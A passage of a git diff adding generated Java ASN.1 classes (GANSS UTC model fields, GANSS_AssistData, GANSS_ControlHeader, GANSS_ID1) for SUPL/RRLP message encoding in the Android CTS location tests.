+ public String toIndentedString(String indent) {
+ return "ganssUtcA0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUtcTotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssUtcTotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUtcTotType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUtcTotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUtcTotType != null) {
+ return ImmutableList.of(TAG_ganssUtcTotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUtcTotType from encoded stream.
+ */
+ public static ganssUtcTotType fromPerUnaligned(byte[] encodedBytes) {
+ ganssUtcTotType result = new ganssUtcTotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUtcTotType from encoded stream.
+ */
+ public static ganssUtcTotType fromPerAligned(byte[] encodedBytes) {
+ ganssUtcTotType result = new ganssUtcTotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssUtcTotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUtcWNtType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssUtcWNtType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUtcWNtType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUtcWNtType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUtcWNtType != null) {
+ return ImmutableList.of(TAG_ganssUtcWNtType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUtcWNtType from encoded stream.
+ */
+ public static ganssUtcWNtType fromPerUnaligned(byte[] encodedBytes) {
+ ganssUtcWNtType result = new ganssUtcWNtType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUtcWNtType from encoded stream.
+ */
+ public static ganssUtcWNtType fromPerAligned(byte[] encodedBytes) {
+ ganssUtcWNtType result = new ganssUtcWNtType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssUtcWNtType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUtcDeltaTlsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssUtcDeltaTlsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUtcDeltaTlsType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUtcDeltaTlsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUtcDeltaTlsType != null) {
+ return ImmutableList.of(TAG_ganssUtcDeltaTlsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUtcDeltaTlsType from encoded stream.
+ */
+ public static ganssUtcDeltaTlsType fromPerUnaligned(byte[] encodedBytes) {
+ ganssUtcDeltaTlsType result = new ganssUtcDeltaTlsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUtcDeltaTlsType from encoded stream.
+ */
+ public static ganssUtcDeltaTlsType fromPerAligned(byte[] encodedBytes) {
+ ganssUtcDeltaTlsType result = new ganssUtcDeltaTlsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssUtcDeltaTlsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUtcWNlsfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssUtcWNlsfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUtcWNlsfType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUtcWNlsfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUtcWNlsfType != null) {
+ return ImmutableList.of(TAG_ganssUtcWNlsfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUtcWNlsfType from encoded stream.
+ */
+ public static ganssUtcWNlsfType fromPerUnaligned(byte[] encodedBytes) {
+ ganssUtcWNlsfType result = new ganssUtcWNlsfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUtcWNlsfType from encoded stream.
+ */
+ public static ganssUtcWNlsfType fromPerAligned(byte[] encodedBytes) {
+ ganssUtcWNlsfType result = new ganssUtcWNlsfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssUtcWNlsfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUtcDNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssUtcDNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUtcDNType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUtcDNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUtcDNType != null) {
+ return ImmutableList.of(TAG_ganssUtcDNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUtcDNType from encoded stream.
+ */
+ public static ganssUtcDNType fromPerUnaligned(byte[] encodedBytes) {
+ ganssUtcDNType result = new ganssUtcDNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUtcDNType from encoded stream.
+ */
+ public static ganssUtcDNType fromPerAligned(byte[] encodedBytes) {
+ ganssUtcDNType result = new ganssUtcDNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssUtcDNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class ganssUtcDeltaTlsfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_ganssUtcDeltaTlsfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ganssUtcDeltaTlsfType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ganssUtcDeltaTlsfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ganssUtcDeltaTlsfType != null) {
+ return ImmutableList.of(TAG_ganssUtcDeltaTlsfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ganssUtcDeltaTlsfType from encoded stream.
+ */
+ public static ganssUtcDeltaTlsfType fromPerUnaligned(byte[] encodedBytes) {
+ ganssUtcDeltaTlsfType result = new ganssUtcDeltaTlsfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ganssUtcDeltaTlsfType from encoded stream.
+ */
+ public static ganssUtcDeltaTlsfType fromPerAligned(byte[] encodedBytes) {
+ ganssUtcDeltaTlsfType result = new ganssUtcDeltaTlsfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssUtcDeltaTlsfType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSUTCModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_AssistData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_AssistData.java
new file mode 100755
index 0000000..cc229fd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_AssistData.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSS_AssistData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSS_AssistData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_AssistData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_AssistData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_AssistData != null) {
+ return ImmutableList.of(TAG_GANSS_AssistData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_AssistData from encoded stream.
+ */
+ public static GANSS_AssistData fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_AssistData result = new GANSS_AssistData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_AssistData from encoded stream.
+ */
+ public static GANSS_AssistData fromPerAligned(byte[] encodedBytes) {
+ GANSS_AssistData result = new GANSS_AssistData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSS_ControlHeader ganss_controlHeader_;
+ public GANSS_ControlHeader getGanss_controlHeader() {
+ return ganss_controlHeader_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSS_ControlHeader
+ */
+ public void setGanss_controlHeader(Asn1Object value) {
+ this.ganss_controlHeader_ = (GANSS_ControlHeader) value;
+ }
+ public GANSS_ControlHeader setGanss_controlHeaderToNewInstance() {
+ ganss_controlHeader_ = new GANSS_ControlHeader();
+ return ganss_controlHeader_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanss_controlHeader() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanss_controlHeader();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanss_controlHeaderToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSS_ControlHeader.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganss_controlHeader : "
+ + getGanss_controlHeader().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_AssistData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ControlHeader.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ControlHeader.java
new file mode 100755
index 0000000..a090228
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ControlHeader.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSS_ControlHeader extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSS_ControlHeader
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_ControlHeader() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_ControlHeader;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_ControlHeader != null) {
+ return ImmutableList.of(TAG_GANSS_ControlHeader);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_ControlHeader from encoded stream.
+ */
+ public static GANSS_ControlHeader fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_ControlHeader result = new GANSS_ControlHeader();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_ControlHeader from encoded stream.
+ */
+ public static GANSS_ControlHeader fromPerAligned(byte[] encodedBytes) {
+ GANSS_ControlHeader result = new GANSS_ControlHeader();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSCommonAssistData ganssCommonAssistData_;
+ public GANSSCommonAssistData getGanssCommonAssistData() {
+ return ganssCommonAssistData_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSCommonAssistData
+ */
+ public void setGanssCommonAssistData(Asn1Object value) {
+ this.ganssCommonAssistData_ = (GANSSCommonAssistData) value;
+ }
+ public GANSSCommonAssistData setGanssCommonAssistDataToNewInstance() {
+ ganssCommonAssistData_ = new GANSSCommonAssistData();
+ return ganssCommonAssistData_;
+ }
+
+ private SeqOfGANSSGenericAssistDataElement ganssGenericAssistDataList_;
+ public SeqOfGANSSGenericAssistDataElement getGanssGenericAssistDataList() {
+ return ganssGenericAssistDataList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSSGenericAssistDataElement
+ */
+ public void setGanssGenericAssistDataList(Asn1Object value) {
+ this.ganssGenericAssistDataList_ = (SeqOfGANSSGenericAssistDataElement) value;
+ }
+ public SeqOfGANSSGenericAssistDataElement setGanssGenericAssistDataListToNewInstance() {
+ ganssGenericAssistDataList_ = new SeqOfGANSSGenericAssistDataElement();
+ return ganssGenericAssistDataList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssCommonAssistData() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssCommonAssistData();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssCommonAssistDataToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSCommonAssistData.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssCommonAssistData : "
+ + getGanssCommonAssistData().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssGenericAssistDataList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssGenericAssistDataList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssGenericAssistDataListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSSGenericAssistDataElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssGenericAssistDataList : "
+ + getGanssGenericAssistDataList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_ControlHeader = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1.java
new file mode 100755
index 0000000..ca92cf0
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSS_ID1
+ extends Asn1SequenceOf<GANSS_ID1_element> {
+ //
+
+ private static final Asn1Tag TAG_GANSS_ID1
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSS_ID1() {
+ super();
+ setMinSize(1);
+setMaxSize(64);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSS_ID1;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSS_ID1 != null) {
+ return ImmutableList.of(TAG_GANSS_ID1);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSS_ID1 from encoded stream.
+ */
+ public static GANSS_ID1 fromPerUnaligned(byte[] encodedBytes) {
+ GANSS_ID1 result = new GANSS_ID1();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSS_ID1 from encoded stream.
+ */
+ public static GANSS_ID1 fromPerAligned(byte[] encodedBytes) {
+ GANSS_ID1 result = new GANSS_ID1();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSS_ID1_element createAndAddValue() {
+ GANSS_ID1_element value = new GANSS_ID1_element();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSS_ID1 = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSS_ID1_element value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1_element.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1_element.java
new file mode 100755
index 0000000..4402a90
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1_element.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
